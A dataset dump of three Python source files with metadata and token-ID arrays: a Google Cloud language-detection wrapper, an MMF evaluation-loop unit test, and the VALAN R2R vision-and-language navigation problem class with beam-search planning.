max_stars_repo_path
stringlengths
4
237
max_stars_repo_name
stringlengths
6
117
max_stars_count
int64
0
95.2k
id
stringlengths
1
7
content
stringlengths
12
593k
input_ids
sequencelengths
7
549k
src/gps_babel_tower/tasks/language_detection/language_detection.py
google/gps-babel-tower
2
59832
<gh_stars>1-10 # coding=utf-8 # Copyright 2021 Google LLC.. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. from google.cloud import translate_v2 as translate class LanguageDetection(): def __init__(self, engine='gcp'): self.engine = engine if self.engine == 'gcp': self.translate_client = translate.Client() else: raise RuntimeError(f'engine {engine} not supported yet') return def detect(self, text): language_code = None if self.engine == 'gcp': result = self.translate_client.detect_language(text) # print("Confidence: {}".format(result["confidence"])) language_code = result['language'] else: raise RuntimeError('Unsupported') return language_code
[ 1, 529, 12443, 29918, 303, 1503, 29958, 29896, 29899, 29896, 29900, 13, 29937, 14137, 29922, 9420, 29899, 29947, 13, 29937, 14187, 1266, 29871, 29906, 29900, 29906, 29896, 5087, 365, 12182, 636, 13, 29937, 13, 29937, 10413, 21144, 1090, 278, 13380, 19245, 29892, 10079, 29871, 29906, 29889, 29900, 313, 1552, 376, 29931, 293, 1947, 1496, 13, 29937, 366, 1122, 451, 671, 445, 934, 5174, 297, 752, 13036, 411, 278, 19245, 29889, 13, 29937, 887, 1122, 4017, 263, 3509, 310, 278, 19245, 472, 13, 29937, 13, 29937, 268, 1732, 597, 1636, 29889, 4288, 29889, 990, 29914, 506, 11259, 29914, 27888, 1430, 1660, 29899, 29906, 29889, 29900, 13, 29937, 13, 29937, 25870, 3734, 491, 22903, 4307, 470, 15502, 304, 297, 5007, 29892, 7047, 13, 29937, 13235, 1090, 278, 19245, 338, 13235, 373, 385, 376, 3289, 8519, 29908, 350, 3289, 3235, 29892, 13, 29937, 399, 1806, 8187, 2692, 399, 1718, 29934, 13566, 29059, 6323, 8707, 29928, 22122, 29903, 8079, 13764, 29979, 476, 22255, 29892, 2845, 4653, 470, 2411, 2957, 29889, 13, 29937, 2823, 278, 19245, 363, 278, 2702, 4086, 14765, 1076, 11239, 322, 13, 29937, 27028, 1090, 278, 19245, 29889, 13, 13, 3166, 5386, 29889, 9274, 1053, 14240, 29918, 29894, 29906, 408, 14240, 13, 13, 13, 1990, 17088, 29928, 2650, 428, 7295, 13, 13, 29871, 822, 4770, 2344, 12035, 1311, 29892, 6012, 2433, 29887, 6814, 29374, 13, 1678, 1583, 29889, 10599, 353, 6012, 13, 1678, 565, 1583, 29889, 10599, 1275, 525, 29887, 6814, 2396, 13, 418, 1583, 29889, 21652, 29918, 4645, 353, 14240, 29889, 4032, 580, 13, 1678, 1683, 29901, 13, 418, 12020, 24875, 2392, 29898, 29888, 29915, 10599, 426, 10599, 29913, 451, 6969, 3447, 1495, 13, 1678, 736, 13, 13, 29871, 822, 6459, 29898, 1311, 29892, 1426, 1125, 13, 1678, 4086, 29918, 401, 353, 6213, 13, 1678, 565, 1583, 29889, 10599, 1275, 525, 29887, 6814, 2396, 13, 418, 1121, 353, 1583, 29889, 21652, 29918, 4645, 29889, 4801, 522, 29918, 11675, 29898, 726, 29897, 13, 418, 396, 1596, 703, 16376, 5084, 29901, 6571, 1642, 4830, 29898, 2914, 3366, 5527, 5084, 3108, 876, 13, 418, 4086, 29918, 401, 353, 1121, 1839, 11675, 2033, 13, 1678, 1683, 29901, 13, 418, 12020, 24875, 2392, 877, 25807, 29884, 3016, 287, 1495, 13, 1678, 736, 4086, 29918, 401, 13, 2 ]
tests/trainers/test_eval_loop.py
locoalien/mmf
0
99419
# Copyright (c) Facebook, Inc. and its affiliates. import unittest from unittest.mock import MagicMock, patch import torch from tests.trainers.test_training_loop import TrainerTrainingLoopMock class TestEvalLoop(unittest.TestCase): @patch( "mmf.common.test_reporter.PathManager", return_value=MagicMock(return_value=None), ) @patch("mmf.common.test_reporter.get_mmf_env", return_value="") def test_eval_loop(self, a, b): torch.random.manual_seed(2) trainer = TrainerTrainingLoopMock(100, max_updates=2, max_epochs=2) trainer.load_datasets() combined_report, meter = trainer.evaluation_loop("val") self.assertAlmostEqual(combined_report["losses"]["loss"], 493377.5312) self.assertAlmostEqual(combined_report["logits"].item(), -0.2379742, 6)
[ 1, 396, 14187, 1266, 313, 29883, 29897, 13327, 29892, 9266, 29889, 322, 967, 23736, 1078, 29889, 13, 13, 5215, 443, 27958, 13, 3166, 443, 27958, 29889, 17640, 1053, 26494, 18680, 29892, 13261, 13, 13, 5215, 4842, 305, 13, 3166, 6987, 29889, 14968, 414, 29889, 1688, 29918, 26495, 29918, 7888, 1053, 3201, 4983, 5323, 2827, 18405, 18680, 13, 13, 13, 1990, 4321, 29923, 791, 18405, 29898, 348, 27958, 29889, 3057, 8259, 1125, 13, 1678, 732, 5041, 29898, 13, 4706, 376, 4317, 29888, 29889, 9435, 29889, 1688, 29918, 276, 18505, 29889, 2605, 3260, 613, 13, 4706, 736, 29918, 1767, 29922, 19095, 293, 18680, 29898, 2457, 29918, 1767, 29922, 8516, 511, 13, 1678, 1723, 13, 1678, 732, 5041, 703, 4317, 29888, 29889, 9435, 29889, 1688, 29918, 276, 18505, 29889, 657, 29918, 4317, 29888, 29918, 6272, 613, 736, 29918, 1767, 543, 1159, 13, 1678, 822, 1243, 29918, 14513, 29918, 7888, 29898, 1311, 29892, 263, 29892, 289, 1125, 13, 4706, 4842, 305, 29889, 8172, 29889, 11288, 29918, 26776, 29898, 29906, 29897, 13, 4706, 1020, 4983, 353, 3201, 4983, 5323, 2827, 18405, 18680, 29898, 29896, 29900, 29900, 29892, 4236, 29918, 786, 15190, 29922, 29906, 29892, 4236, 29918, 1022, 2878, 29879, 29922, 29906, 29897, 13, 4706, 1020, 4983, 29889, 1359, 29918, 14538, 1691, 580, 13, 4706, 12420, 29918, 12276, 29892, 11134, 353, 1020, 4983, 29889, 24219, 362, 29918, 7888, 703, 791, 1159, 13, 4706, 1583, 29889, 9294, 2499, 3242, 9843, 29898, 17743, 1312, 29918, 12276, 3366, 6758, 267, 3108, 3366, 6758, 12436, 29871, 29946, 29929, 29941, 29941, 29955, 29955, 29889, 29945, 29941, 29896, 29906, 29897, 13, 4706, 1583, 29889, 9294, 2499, 3242, 9843, 29898, 17743, 1312, 29918, 12276, 3366, 1188, 1169, 16862, 667, 3285, 448, 29900, 29889, 29906, 29941, 29955, 29929, 29955, 29946, 29906, 29892, 29871, 29953, 29897, 13, 2 ]
r2r/r2r_problem.py
google-research/valan
71
148390
# coding=utf-8 # Copyright 2019 Google LLC # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. """Definition of R2R problem.""" from __future__ import absolute_import from __future__ import division from __future__ import print_function import collections import operator import pickle from absl import logging import numpy as np import tensorflow.compat.v2 as tf import tensorflow_probability as tfp from valan.framework import common from valan.framework import problem_type from valan.framework import utils from valan.r2r import agent from valan.r2r import agent_config from valan.r2r import constants from valan.r2r import curriculum_env from valan.r2r import curriculum_env_config as curriculum_env_config_lib from valan.r2r import env from valan.r2r import env_config as env_config_lib from valan.r2r import eval_metric from valan.r2r.multi_task import mt_agent from valan.r2r.multi_task import mt_agent_config R2RDebugInfo = collections.namedtuple( 'R2RDebugInfo', ['episode_undisc_reward', 'episode_num_steps', 'num_paths']) class R2RProblem(problem_type.ProblemType): """Problem type for R2R.""" def __init__(self, runtime_config, mode, data_sources, curriculum='', agent_type='r2r'): self._runtime_config = runtime_config self._mode = mode self._data_sources = data_sources self._curriculum = curriculum if agent_type.lower() == 'r2r': self._agent = agent.R2RAgent( agent_config.get_r2r_agent_config(), mode=mode) elif agent_type.lower() == 'mt': self._agent = mt_agent.MTEnvAgAgent( mt_agent_config.get_agent_config(), mode=mode) else: raise ValueError('Invalid agent_type: {}'.format(agent_type)) self._prob_ac = 0.5 self._env = None self._loss_type = None self._eval_dict = self._get_eval_dict() def _get_eval_dict(self): return { 'eval/success_rate': eval_metric.get_success_rate, 'eval/navigation_error': eval_metric.get_navigation_error, 'eval/path_length': eval_metric.get_path_length, 'eval/oracle_success': eval_metric.get_oracle_success, 'eval/num_steps_before_stop': eval_metric.get_num_steps_before_stop, 'eval/spl': eval_metric.get_spl, 'eval/undiscounted_episode_reward': eval_metric.get_undisc_episode_reward, 'eval/cls': eval_metric.get_cls, 'eval/dtw': eval_metric.get_dtw, 'eval/norm_dtw': eval_metric.get_norm_dtw, 'eval/sdtw': eval_metric.get_sdtw, 'eval/' + common.VISUALIZATION_IMAGES: eval_metric.get_visualization_image, } def get_environment(self): if not self._env: assert self._data_sources, 'data_sources must be non-empty.' if self._curriculum: # See actor_main.py and curriculum_env.py for the argument options. self._env = curriculum_env.CurriculumR2REnv( data_sources=self._data_sources, runtime_config=self._runtime_config, curriculum_env_config= curriculum_env_config_lib.get_default_curriculum_env_config( self._curriculum) ) else: self._env = env.R2REnv( data_sources=self._data_sources, runtime_config=self._runtime_config, env_config=env_config_lib.get_default_env_config()) return self._env def get_agent(self): return self._agent def get_optimizer(self, learning_rate): return tf.keras.optimizers.Adam(learning_rate=learning_rate) def create_summary(self, step, info): sum_episode_reward = 0. sum_episode_num_steps = 0. num_infos = 0 num_paths_list = [] for infos in [pickle.loads(t.numpy()) for t in info]: for episode_undisc_reward, episode_num_steps, num_paths in infos: sum_episode_reward += episode_undisc_reward sum_episode_num_steps += episode_num_steps num_paths_list.append(num_paths) num_infos += 1 if num_infos: tf.summary.scalar( 'train_debug/episode_undiscounted_reward', sum_episode_reward / num_infos, step=step) tf.summary.scalar( 'train_debug/episode_num_steps', sum_episode_num_steps / num_infos, step=step) # Log the number of paths for analyzing curriculum learning. tf.summary.scalar( 'train_debug/env_num_paths_mean', sum(num_paths_list) / num_infos, step=step) tf.summary.scalar( 'train_debug/env_num_paths_maximum', max(num_paths_list), step=step) def get_actor_info(self, final_step_env_output, episode_reward_sum, episode_num_steps): return R2RDebugInfo(episode_reward_sum, episode_num_steps, self._env.num_paths) def get_study_loss_types(self): return [common.AC_LOSS, common.CE_LOSS] def get_episode_loss_type(self, iterations): self._loss_type = np.random.choice([common.AC_LOSS, common.CE_LOSS], p=[self._prob_ac, 1. - self._prob_ac]) return self._loss_type def select_actor_action(self, env_output, agent_output): oracle_next_action = env_output.observation[constants.ORACLE_NEXT_ACTION] oracle_next_action_indices = tf.where( tf.equal(env_output.observation[constants.CONN_IDS], oracle_next_action)) oracle_next_action_idx = tf.reduce_min(oracle_next_action_indices) assert self._mode, 'mode must be set.' if self._mode == 'train': if self._loss_type == common.CE_LOSS: # This is teacher-forcing mode, so choose action same as oracle action. action_idx = oracle_next_action_idx elif self._loss_type == common.AC_LOSS: # Choose next pano from probability distribution over next panos action_idx = tfp.distributions.Categorical( logits=agent_output.policy_logits).sample() else: raise ValueError('Unsupported loss type {}'.format(self._loss_type)) else: # In non-train modes, choose greedily. action_idx = tf.argmax(agent_output.policy_logits, axis=-1) action_val = env_output.observation[constants.CONN_IDS][action_idx] policy_logprob = tf.nn.log_softmax(agent_output.policy_logits) return common.ActorAction( chosen_action_idx=int(action_idx.numpy()), oracle_next_action_idx=int(oracle_next_action_idx.numpy()), action_val=int(action_val.numpy()), log_prob=float(policy_logprob[action_idx].numpy())) def plan_actor_action(self, agent_output, agent_state, agent_instance, env_output, env_instance, beam_size, planning_horizon, temperature=1.0): initial_env_state = env_instance.get_state() initial_time_step = env_output.observation[constants.TIME_STEP] beam = [common.PlanningState(score=0, agent_output=agent_output, agent_state=agent_state, env_output=env_output, env_state=initial_env_state, action_history=[])] planning_step = 1 while True: next_beam = [] for state in beam: if state.action_history and (state.action_history[-1].action_val == constants.STOP_NODE_ID): # Path is done. This won't be reflected in env_output.done since # stop actions are not performed during planning. next_beam.append(state) continue # Find the beam_size best next actions based on policy log probability. num_actions = tf.math.count_nonzero(state.env_output.observation[ constants.CONN_IDS] >= constants.STOP_NODE_ID).numpy() policy_logprob = tf.nn.log_softmax( state.agent_output.policy_logits / temperature) logprob, ix = tf.math.top_k( policy_logprob, k=min(num_actions, beam_size)) action_vals = tf.gather( state.env_output.observation[constants.CONN_IDS], ix) oracle_action = state.env_output.observation[ constants.ORACLE_NEXT_ACTION] oracle_action_indices = tf.where( tf.equal(state.env_output.observation[constants.CONN_IDS], oracle_action)) oracle_action_idx = tf.reduce_min(oracle_action_indices) # Expand each action and add to the beam for the next iteration. for j, action_val in enumerate(action_vals.numpy()): next_action = common.ActorAction( chosen_action_idx=int(ix[j].numpy()), oracle_next_action_idx=int(oracle_action_idx.numpy()), action_val=int(action_val), log_prob=float(logprob[j].numpy())) if action_val == constants.STOP_NODE_ID: # Don't perform stop actions which trigger a new episode that can't # be reset using set_state. next_state = common.PlanningState( score=state.score + logprob[j], agent_output=state.agent_output, agent_state=state.agent_state, env_output=state.env_output, env_state=state.env_state, action_history=state.action_history + [next_action]) else: # Perform the non-stop action. env_instance.set_state(state.env_state) next_env_output = env_instance.step(action_val) next_env_output = utils.add_time_batch_dim(next_env_output) next_agent_output, next_agent_state = agent_instance( next_env_output, state.agent_state) next_env_output, next_agent_output = utils.remove_time_batch_dim( next_env_output, next_agent_output) next_state = common.PlanningState( score=state.score + logprob[j], agent_output=next_agent_output, agent_state=next_agent_state, env_output=next_env_output, env_state=env_instance.get_state(), action_history=state.action_history + [next_action]) next_beam.append(next_state) def _log_beam(beam): for item in beam: path_string = '\t'.join( [str(a.action_val) for a in item.action_history]) score_string = '\t'.join( ['%.4f' % a.log_prob for a in item.action_history]) logging.debug('Score: %.4f', item.score) logging.debug('Log prob: %s', score_string) logging.debug('Steps: %s', path_string) # Reduce the next beam to only the top beam_size paths. beam = sorted(next_beam, reverse=True, key=operator.attrgetter('score')) beam = beam[:beam_size] logging.debug('Planning step %d', planning_step) _log_beam(beam) # Break if all episodes are done. if all(item.action_history[-1].action_val == constants.STOP_NODE_ID for item in beam): break # Break if exceeded planning_horizon. if planning_step >= planning_horizon: break # Break if we are planning beyond the max actions per episode, since this # will also trigger a new episode (same as the stop action). if initial_time_step + planning_step >= env_instance._max_actions_per_episode: break planning_step += 1 # Restore the environment to it's initial state so the agent can still act. env_instance.set_state(initial_env_state) return beam[0].action_history def eval(self, action_list, env_output_list): result = {} for key, fn in self._eval_dict.items(): score = fn(action_list, env_output_list, self._env) result[key] = score return result
[ 1, 396, 14137, 29922, 9420, 29899, 29947, 13, 29937, 14187, 1266, 29871, 29906, 29900, 29896, 29929, 5087, 365, 12182, 13, 29937, 10413, 21144, 1090, 278, 13380, 19245, 29892, 10079, 29871, 29906, 29889, 29900, 313, 1552, 376, 29931, 293, 1947, 1496, 13, 29937, 366, 1122, 451, 671, 445, 934, 5174, 297, 752, 13036, 411, 278, 19245, 29889, 13, 29937, 887, 1122, 4017, 263, 3509, 310, 278, 19245, 472, 13, 29937, 13, 29937, 268, 1732, 597, 1636, 29889, 4288, 29889, 990, 29914, 506, 11259, 29914, 27888, 1430, 1660, 29899, 29906, 29889, 29900, 13, 29937, 13, 29937, 25870, 3734, 491, 22903, 4307, 470, 15502, 304, 297, 5007, 29892, 7047, 13, 29937, 13235, 1090, 278, 19245, 338, 13235, 373, 385, 376, 3289, 8519, 29908, 350, 3289, 3235, 29892, 13, 29937, 399, 1806, 8187, 2692, 399, 1718, 29934, 13566, 29059, 6323, 8707, 29928, 22122, 29903, 8079, 13764, 29979, 476, 22255, 29892, 2845, 4653, 470, 2411, 2957, 29889, 13, 29937, 2823, 278, 19245, 363, 278, 2702, 4086, 14765, 1076, 11239, 322, 13, 29937, 27028, 1090, 278, 19245, 29889, 13, 13, 15945, 29908, 14683, 310, 390, 29906, 29934, 1108, 1213, 15945, 13, 13, 3166, 4770, 29888, 9130, 1649, 1053, 8380, 29918, 5215, 13, 3166, 4770, 29888, 9130, 1649, 1053, 8542, 13, 13, 3166, 4770, 29888, 9130, 1649, 1053, 1596, 29918, 2220, 13, 13, 5215, 16250, 13, 5215, 5455, 13, 5215, 5839, 280, 13, 3166, 633, 2536, 1053, 12183, 13, 13, 5215, 12655, 408, 7442, 13, 5215, 26110, 29889, 12667, 29889, 29894, 29906, 408, 15886, 13, 5215, 26110, 29918, 22795, 3097, 408, 15886, 29886, 13, 3166, 659, 273, 29889, 4468, 1053, 3619, 13, 3166, 659, 273, 29889, 4468, 1053, 1108, 29918, 1853, 13, 3166, 659, 273, 29889, 4468, 1053, 3667, 29879, 13, 3166, 659, 273, 29889, 29878, 29906, 29878, 1053, 10823, 13, 3166, 659, 273, 29889, 29878, 29906, 29878, 1053, 10823, 29918, 2917, 13, 3166, 659, 273, 29889, 29878, 29906, 29878, 1053, 17727, 13, 3166, 659, 273, 29889, 29878, 29906, 29878, 1053, 16256, 12906, 398, 29918, 6272, 13, 3166, 659, 273, 29889, 29878, 29906, 29878, 1053, 16256, 12906, 398, 29918, 6272, 29918, 2917, 408, 16256, 12906, 398, 29918, 6272, 29918, 2917, 29918, 1982, 13, 3166, 659, 273, 29889, 29878, 29906, 29878, 1053, 8829, 13, 3166, 659, 273, 29889, 29878, 29906, 29878, 1053, 8829, 29918, 2917, 408, 8829, 29918, 2917, 29918, 1982, 13, 3166, 659, 273, 29889, 29878, 29906, 29878, 1053, 19745, 29918, 16414, 13, 3166, 659, 273, 29889, 29878, 29906, 29878, 29889, 9910, 29918, 7662, 1053, 286, 29873, 29918, 14748, 13, 3166, 659, 273, 29889, 29878, 29906, 29878, 29889, 9910, 29918, 7662, 1053, 286, 29873, 29918, 14748, 29918, 2917, 13, 13, 13, 29934, 29906, 29934, 11862, 3401, 353, 16250, 29889, 17514, 23583, 29898, 13, 1678, 525, 29934, 29906, 29934, 11862, 3401, 742, 6024, 1022, 275, 356, 29918, 870, 10669, 29918, 276, 1328, 742, 525, 1022, 275, 356, 29918, 1949, 29918, 24530, 742, 525, 1949, 29918, 24772, 11287, 13, 13, 13, 1990, 390, 29906, 29934, 26604, 29898, 17199, 29918, 1853, 29889, 26604, 1542, 1125, 13, 29871, 9995, 26604, 1134, 363, 390, 29906, 29934, 1213, 15945, 13, 13, 29871, 822, 4770, 2344, 12035, 1311, 29892, 13, 1669, 10073, 29918, 2917, 29892, 13, 1669, 4464, 29892, 13, 1669, 848, 29918, 29879, 2863, 29892, 13, 1669, 16256, 12906, 398, 2433, 742, 13, 1669, 10823, 29918, 1853, 2433, 29878, 29906, 29878, 29374, 13, 1678, 1583, 3032, 15634, 29918, 2917, 353, 10073, 29918, 2917, 13, 1678, 1583, 3032, 8513, 353, 4464, 13, 1678, 1583, 3032, 1272, 29918, 29879, 2863, 353, 848, 29918, 29879, 2863, 13, 1678, 1583, 3032, 21962, 12906, 398, 353, 16256, 12906, 398, 13, 13, 1678, 565, 10823, 29918, 1853, 29889, 13609, 580, 1275, 525, 29878, 29906, 29878, 2396, 13, 418, 1583, 3032, 14748, 353, 10823, 29889, 29934, 29906, 4717, 5362, 29898, 13, 3986, 10823, 29918, 2917, 29889, 657, 29918, 29878, 29906, 29878, 29918, 14748, 29918, 2917, 3285, 4464, 29922, 8513, 29897, 13, 1678, 25342, 10823, 29918, 1853, 29889, 13609, 580, 1275, 525, 4378, 2396, 13, 418, 1583, 3032, 14748, 353, 286, 29873, 29918, 14748, 29889, 11490, 21745, 14769, 19661, 29898, 13, 3986, 286, 29873, 29918, 14748, 29918, 2917, 29889, 657, 29918, 14748, 29918, 2917, 3285, 4464, 29922, 8513, 29897, 13, 1678, 1683, 29901, 13, 418, 12020, 7865, 2392, 877, 13919, 10823, 29918, 1853, 29901, 6571, 4286, 4830, 29898, 14748, 29918, 1853, 876, 13, 13, 1678, 1583, 3032, 22795, 29918, 562, 353, 29871, 29900, 29889, 29945, 13, 1678, 1583, 3032, 6272, 353, 6213, 13, 1678, 1583, 3032, 6758, 29918, 1853, 353, 6213, 13, 1678, 1583, 3032, 14513, 29918, 8977, 353, 1583, 3032, 657, 29918, 14513, 29918, 8977, 580, 13, 13, 29871, 822, 903, 657, 29918, 14513, 29918, 8977, 29898, 1311, 1125, 13, 1678, 736, 426, 13, 4706, 525, 14513, 29914, 8698, 29918, 10492, 2396, 13, 9651, 19745, 29918, 16414, 29889, 657, 29918, 8698, 29918, 10492, 29892, 13, 4706, 525, 14513, 29914, 15466, 29918, 2704, 2396, 13, 9651, 19745, 29918, 16414, 29889, 657, 29918, 15466, 29918, 2704, 29892, 13, 4706, 525, 14513, 29914, 2084, 29918, 2848, 2396, 13, 9651, 19745, 29918, 16414, 29889, 657, 29918, 2084, 29918, 2848, 29892, 13, 4706, 525, 14513, 29914, 11347, 29918, 8698, 2396, 13, 9651, 19745, 29918, 16414, 29889, 657, 29918, 11347, 29918, 8698, 29892, 13, 4706, 525, 14513, 29914, 1949, 29918, 24530, 29918, 11083, 29918, 9847, 2396, 13, 9651, 19745, 29918, 16414, 29889, 657, 29918, 1949, 29918, 24530, 29918, 11083, 29918, 9847, 29892, 13, 4706, 525, 14513, 29914, 23579, 2396, 13, 9651, 19745, 29918, 16414, 29889, 657, 29918, 23579, 29892, 13, 4706, 525, 14513, 29914, 870, 275, 2798, 287, 29918, 1022, 275, 356, 29918, 276, 1328, 2396, 13, 9651, 19745, 29918, 16414, 29889, 657, 29918, 870, 10669, 29918, 1022, 275, 356, 29918, 276, 1328, 29892, 13, 4706, 525, 14513, 29914, 25932, 2396, 13, 9651, 19745, 29918, 16414, 29889, 657, 29918, 25932, 29892, 13, 4706, 525, 14513, 29914, 6008, 29893, 2396, 13, 9651, 19745, 29918, 16414, 29889, 657, 29918, 6008, 29893, 29892, 13, 4706, 525, 14513, 29914, 12324, 29918, 6008, 29893, 2396, 13, 9651, 19745, 29918, 16414, 29889, 657, 29918, 12324, 29918, 6008, 29893, 29892, 13, 4706, 525, 14513, 29914, 4928, 7516, 2396, 13, 9651, 19745, 29918, 16414, 29889, 657, 29918, 4928, 7516, 29892, 13, 4706, 525, 14513, 22208, 718, 3619, 29889, 28607, 29965, 1964, 26664, 8098, 29918, 2382, 29903, 29901, 13, 9651, 19745, 29918, 16414, 29889, 657, 29918, 20119, 2133, 29918, 3027, 29892, 13, 1678, 500, 13, 13, 29871, 822, 679, 29918, 20944, 29898, 1311, 1125, 13, 1678, 565, 451, 1583, 3032, 6272, 29901, 13, 418, 4974, 1583, 3032, 1272, 29918, 29879, 2863, 29892, 525, 1272, 29918, 29879, 2863, 1818, 367, 1661, 29899, 6310, 6169, 13, 418, 565, 1583, 3032, 21962, 12906, 398, 29901, 13, 4706, 396, 2823, 11339, 29918, 3396, 29889, 2272, 322, 16256, 12906, 398, 29918, 6272, 29889, 2272, 363, 278, 2980, 3987, 29889, 13, 4706, 1583, 3032, 6272, 353, 16256, 12906, 398, 29918, 6272, 29889, 29907, 1038, 12906, 398, 29934, 29906, 1525, 29876, 29894, 29898, 13, 9651, 848, 29918, 29879, 2863, 29922, 1311, 3032, 1272, 29918, 29879, 2863, 29892, 13, 9651, 10073, 29918, 2917, 29922, 1311, 3032, 15634, 29918, 2917, 29892, 13, 9651, 16256, 12906, 398, 29918, 6272, 29918, 2917, 29922, 13, 9651, 16256, 12906, 398, 29918, 6272, 29918, 2917, 29918, 1982, 29889, 657, 29918, 4381, 29918, 21962, 12906, 398, 29918, 6272, 29918, 2917, 29898, 13, 18884, 1583, 3032, 21962, 12906, 398, 29897, 13, 4706, 1723, 13, 418, 1683, 29901, 13, 4706, 1583, 3032, 6272, 353, 8829, 29889, 29934, 29906, 1525, 29876, 29894, 29898, 13, 9651, 848, 29918, 29879, 2863, 29922, 1311, 3032, 1272, 29918, 29879, 2863, 29892, 13, 9651, 10073, 29918, 2917, 29922, 1311, 3032, 15634, 29918, 2917, 29892, 13, 9651, 8829, 29918, 2917, 29922, 6272, 29918, 2917, 29918, 1982, 29889, 657, 29918, 4381, 29918, 6272, 29918, 2917, 3101, 13, 1678, 736, 1583, 3032, 6272, 13, 13, 29871, 822, 679, 29918, 14748, 29898, 1311, 1125, 13, 1678, 736, 1583, 3032, 14748, 13, 13, 29871, 822, 679, 29918, 20640, 3950, 29898, 1311, 29892, 6509, 29918, 10492, 1125, 13, 1678, 736, 15886, 29889, 3946, 294, 29889, 20640, 19427, 29889, 3253, 314, 29898, 21891, 29918, 10492, 29922, 21891, 29918, 10492, 29897, 13, 13, 29871, 822, 1653, 29918, 7727, 29898, 1311, 29892, 4331, 29892, 5235, 1125, 13, 1678, 2533, 29918, 1022, 275, 356, 29918, 276, 1328, 353, 29871, 29900, 29889, 13, 1678, 2533, 29918, 1022, 275, 356, 29918, 1949, 29918, 24530, 353, 29871, 29900, 29889, 13, 1678, 954, 29918, 7192, 359, 353, 29871, 29900, 13, 13, 1678, 954, 29918, 24772, 29918, 1761, 353, 5159, 13, 1678, 363, 3041, 359, 297, 518, 23945, 280, 29889, 18132, 29898, 29873, 29889, 23749, 3101, 363, 260, 297, 5235, 5387, 13, 418, 363, 12720, 29918, 870, 10669, 29918, 276, 1328, 29892, 12720, 29918, 1949, 29918, 24530, 29892, 954, 29918, 24772, 297, 3041, 359, 29901, 13, 4706, 2533, 29918, 1022, 275, 356, 29918, 276, 1328, 4619, 12720, 29918, 870, 10669, 29918, 276, 1328, 13, 4706, 2533, 29918, 1022, 275, 356, 29918, 1949, 29918, 24530, 4619, 12720, 29918, 1949, 29918, 24530, 13, 4706, 954, 29918, 24772, 29918, 1761, 29889, 4397, 29898, 1949, 29918, 24772, 29897, 13, 4706, 954, 29918, 7192, 359, 4619, 29871, 29896, 13, 13, 1678, 565, 954, 29918, 7192, 359, 29901, 13, 418, 15886, 29889, 7727, 29889, 19529, 279, 29898, 13, 3986, 525, 14968, 29918, 8382, 29914, 1022, 275, 356, 29918, 870, 275, 2798, 287, 29918, 276, 1328, 742, 13, 3986, 2533, 29918, 1022, 275, 356, 29918, 276, 1328, 847, 954, 29918, 7192, 359, 29892, 13, 3986, 4331, 29922, 10568, 29897, 13, 418, 15886, 29889, 7727, 29889, 19529, 279, 29898, 13, 3986, 525, 14968, 29918, 8382, 29914, 1022, 275, 356, 29918, 1949, 29918, 24530, 742, 13, 3986, 2533, 29918, 1022, 275, 356, 29918, 1949, 29918, 24530, 847, 954, 29918, 7192, 359, 29892, 13, 3986, 4331, 29922, 10568, 29897, 13, 418, 396, 4522, 278, 1353, 310, 10898, 363, 29537, 292, 16256, 12906, 398, 6509, 29889, 13, 418, 15886, 29889, 7727, 29889, 19529, 279, 29898, 13, 3986, 525, 14968, 29918, 8382, 29914, 6272, 29918, 1949, 29918, 24772, 29918, 12676, 742, 13, 3986, 2533, 29898, 1949, 29918, 24772, 29918, 1761, 29897, 847, 954, 29918, 7192, 359, 29892, 13, 3986, 4331, 29922, 10568, 29897, 13, 418, 15886, 29889, 7727, 29889, 19529, 279, 29898, 13, 3986, 525, 14968, 29918, 8382, 29914, 6272, 29918, 1949, 29918, 24772, 29918, 27525, 398, 742, 13, 3986, 4236, 29898, 1949, 29918, 24772, 29918, 1761, 511, 13, 3986, 4331, 29922, 10568, 29897, 13, 13, 29871, 822, 679, 29918, 7168, 29918, 3888, 29898, 1311, 29892, 2186, 29918, 10568, 29918, 6272, 29918, 4905, 29892, 12720, 29918, 276, 1328, 29918, 2083, 29892, 13, 462, 268, 12720, 29918, 1949, 29918, 24530, 1125, 13, 1678, 736, 390, 29906, 29934, 11862, 3401, 29898, 1022, 275, 356, 29918, 276, 1328, 29918, 2083, 29892, 12720, 29918, 1949, 29918, 24530, 29892, 13, 462, 4706, 1583, 3032, 6272, 29889, 1949, 29918, 24772, 29897, 13, 13, 29871, 822, 679, 29918, 18082, 29891, 29918, 6758, 29918, 8768, 29898, 1311, 1125, 13, 1678, 736, 518, 9435, 29889, 2477, 29918, 3927, 1799, 29892, 3619, 29889, 4741, 29918, 3927, 1799, 29962, 13, 13, 29871, 822, 679, 29918, 1022, 275, 356, 29918, 6758, 29918, 1853, 29898, 1311, 29892, 24372, 1125, 13, 1678, 1583, 3032, 6758, 29918, 1853, 353, 7442, 29889, 8172, 29889, 16957, 4197, 9435, 29889, 2477, 29918, 3927, 1799, 29892, 3619, 29889, 4741, 29918, 3927, 1799, 1402, 13, 462, 462, 539, 282, 11759, 1311, 3032, 22795, 29918, 562, 29892, 29871, 29896, 29889, 448, 1583, 3032, 22795, 29918, 562, 2314, 13, 1678, 736, 1583, 3032, 6758, 29918, 1853, 13, 13, 29871, 822, 1831, 29918, 7168, 29918, 2467, 29898, 1311, 29892, 8829, 29918, 4905, 29892, 10823, 29918, 4905, 1125, 13, 1678, 17919, 29918, 4622, 29918, 2467, 353, 8829, 29918, 4905, 29889, 26739, 362, 29961, 3075, 1934, 29889, 1955, 2477, 1307, 29918, 29940, 12194, 29918, 24705, 29962, 13, 1678, 17919, 29918, 4622, 29918, 2467, 29918, 513, 1575, 353, 15886, 29889, 3062, 29898, 13, 4706, 15886, 29889, 11745, 29898, 6272, 29918, 4905, 29889, 26739, 362, 29961, 3075, 1934, 29889, 6007, 29940, 29918, 1367, 29903, 1402, 13, 462, 17919, 29918, 4622, 29918, 2467, 876, 13, 1678, 17919, 29918, 4622, 29918, 2467, 29918, 13140, 353, 15886, 29889, 17469, 29918, 1195, 29898, 11347, 29918, 4622, 29918, 2467, 29918, 513, 1575, 